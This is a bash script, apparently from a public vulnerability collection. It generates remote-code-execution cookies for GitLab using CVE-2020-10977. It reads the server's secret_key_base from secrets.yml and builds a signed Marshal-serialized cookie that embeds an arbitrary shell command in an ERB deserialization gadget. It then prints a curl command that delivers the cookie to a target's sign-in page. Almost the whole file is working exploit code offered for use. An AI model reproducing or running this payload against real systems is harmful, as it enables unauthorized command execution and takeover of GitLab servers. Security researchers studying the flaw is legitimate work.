#!/bin/bash
source ./color_print_fun.sh
# shellcheck disable=SC2059
function header_messageShow(){
printf "\n=======================================================================================================\n"
printf "    C(ollection) O(f) V(erified) V(ulnerabilities) : $0 in \n    https://github.com/Bin4xin/bigger-than-bigger\n"
printf "    Author: bin4xin <bin4xin@sentrylab.cn>\n"
printf "    Bash scripts to generate cookies out of [gitlab-rails console].\n"
printf "    (RCE due to CVE-2020-10977 <local file read>) visit https://hackerone.com/reports/827052\n"
printf "     _     _                             _    _                      _     _\n"
printf "    | |__ (_) __ _  __ _  ___  _ _  ___ | |_ | |_   __ _  _ _   ___ | |__ (_) __ _  __ _  ___  _ _\n"
printf "    | '_ \| |/ _\ |/ _\ |/ -_)| '_||___||  _|| ' \ / _| || ' \ |___|| '_ \| |/ _\ |/ _\ |/ -_)| '_|\n"
printf "    |_.__/|_|\__, |\__, |\___||_|        \__||_||_|\__,_||_||_|     |_.__/|_|\__, |\__, |\___||_|\n"
printf "             |___/ |___/                                                     |___/ |___/\n"
printf "=======================================================================================================\n"
}
# shellcheck disable=SC2059
function help_messageShow(){
printf "    USAGE: bash $0 command [\$command] [\$url]\n"
printf "    SUCH AS: bash $0 [cmd|--cmd|-c] \"touch /tmp/success\" 8.8.8.8\n"
printf "    [help|--help|-h]: \t%-s \t print help message. 打印帮助信息\n"
printf "    [cmd|--cmd|-c]: \t%-s \t generate cookies mode. 生成COOKIE\n"
printf "    [\$command]: \t%-s \t command you want to execute. 要执行的命令\n"
printf "    [\$url]: \t%-s \t gitlab vuln url (unnecessary). gitlab地址，非必要\n"
}

function GitlabRails_Commandinput_Controller(){

if [ ! -s "./color_print_fun.sh" ]; then
	printf "\033[4;31m\033[01m\n[ERROR] Run blew command to define print function.\n$ wget https://raw.githubusercontent.com/Bin4xin/B4xinSynchronize/master/bash/functions/color_print_fun.sh\n\033[0m"
	exit
else
	# - running scripts in a gitlab environment. 
	# - step 1. run git-lab rails console to generate cookie.
		# - 1.1 check gitlab-rails exist or not.
		# - 1.2 check ruby environment. (maybe in gitlab EE/CE environment, there are no environment trouble.)
	which gitlab-rails
	if [[ $? == 0 ]]; then
		# statements
		info_show "Detected [gitlab-rails] environments success."
	else
		# statements
		underline_critical_show "Sorry, PLZ install [gitlab-rails] then run this again.\n\nvisit https://bin4xin.sentrylab.cn/about/GitLab-CVE-2020-10977-RCE/"
		exit
	fi
fi

# step 2 touch a ruby script file prapare for generate cookie.
# $ gitlab-rails runner /tmp/$target_serializerCommand_RubyFile.rb -> puts "hello,world" -> hello,world
#   - 2.1 user check $secret_key_base correct or not.
#   - 2.2 user chech $command correct or not.
#   - 2.3 print files touched by scripts.
key_ensure="YOUR secret_key_base is [$secret_key_base]?"
command_ensure="YOUR COMMAND: [$cmd]?"
# shellcheck disable=SC2162
function foo() {
  while [ "$go" == 'n' ]; do
    underline_warn_show "[`date +%Y/%m/%d/%T`] Detected user input [no]. \nQuit!"
    sleep 0.9
    exit
  done
}
# shellcheck disable=SC2162
read -p "$read_msg$key_ensure" go
# shellcheck disable=SC1026
foo
  while [ "$go" != 'y' ] && [ "$go" != 'n' ] && [ "$go" != '' ]; do
    # shellcheck disable=SC2162
    read -p "$warn_msg" go
    foo
  done
# shellcheck disable=SC2162
read -p "$read_msg $command_ensure" go
# shellcheck disable=SC2162
foo
  while [ "$go" != 'y' ] && [ "$go" != 'n' ] && [ "$go" != '' ]; do
    # shellcheck disable=SC2162
    read -p "$warn_msg" go
    foo
done

common_show "Ready to generate serializer cookies, it might take a while. PLEASE Patiently..."
cat >"$target_serializerCommand_RubyFile"<<EOF
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= \`$cmd\` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts "============================================Cookie are here============================================"
puts cookies[:cookie]
puts "======================================================================================================="
EOF
gitlab-rails runner "$target_serializerCommand_RubyFile"
if [[ $? == 0 ]]; then
  # statements
  info_show "Generate Success! Enjoy!"
  if [[ "$url" != '' ]]; then
  common_show "exec command to ensure:\ncurl -k -vvv 'http://$url/users/sign_in' -b 'experimentation_subject_id={cookie}'\n"
  fi
else
  # statements
  underline_critical_show "It looks some errors. \nPLEASE submit issues in https://github.com/Bin4xin/bigger-than-bigger/issues"
  exit
fi
rm -rf "$target_serializerCommand_RubyFile"
#echo "[GitlabRails_Input_Controller] base key: $secret_key_base"
#echo $cmd
#echo $url
}

cmd="$2"
url="$3"
read_msg=$(echo -e "\033[32m[INFO] PLZ ensure(y/n/enter)\n\033[0m")
warn_msg=$(echo -e "\033[33m[WARN] PLZ type in (y/n/enter)\n\033[0m")

# define some key basic.
secret_key_base=$(cat /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml | grep secret_key_base | awk -F':' '{print $2}')
target_serializerCommand_RubyFile="/tmp/GitlabRails_Input_Controller.rb"

if [[ $# -ne 0 ]]; then
	case "$1" in
		help|--help|-h)
			header_messageShow
			help_messageShow
		;;
		cmd|--cmd|-c)
			# common_show "JUMP TO CMD"
			header_messageShow
			GitlabRails_Commandinput_Controller
		;;
    *)
      header_messageShow
      help_messageShow
    ;;
	esac
else
	exit 1
fi